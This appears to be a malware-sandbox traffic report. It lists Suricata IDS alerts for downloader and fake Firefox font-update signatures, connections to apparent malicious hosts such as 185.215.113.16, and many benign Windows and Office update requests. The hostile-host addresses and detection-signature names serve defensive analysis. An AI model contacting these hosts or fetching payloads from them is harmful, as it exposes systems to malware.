Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49750 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49742 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49761 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49763 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49720 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49728 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49772 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49771 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49788 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49815 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49836 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49846 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49808 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50174 -> 52.168.112.67:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=POeRlgA+vAbfxAK&MD=Nl7pHTBF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=POeRlgA+vAbfxAK&MD=Nl7pHTBF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
